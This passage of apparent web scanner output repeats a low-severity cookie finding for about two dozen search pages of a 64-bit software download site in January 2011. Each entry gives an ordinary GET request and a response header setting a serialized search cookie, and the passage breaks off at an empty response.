The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-multipart-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:39 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73514
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-news-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:35 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-news-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86979
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-news-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22news-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22news+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsfeed-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsgroup-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36453
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsgroup-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsgroups-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsgroups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsreader-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-newsreader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55916
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-nntp-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31814
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-nntp-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87718
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-nzb-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60656
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-ozum-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-par-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-podcast-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-posts-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22posts%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22posts%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89038
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-rar-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-reader-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98206
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-reading-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-rss-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
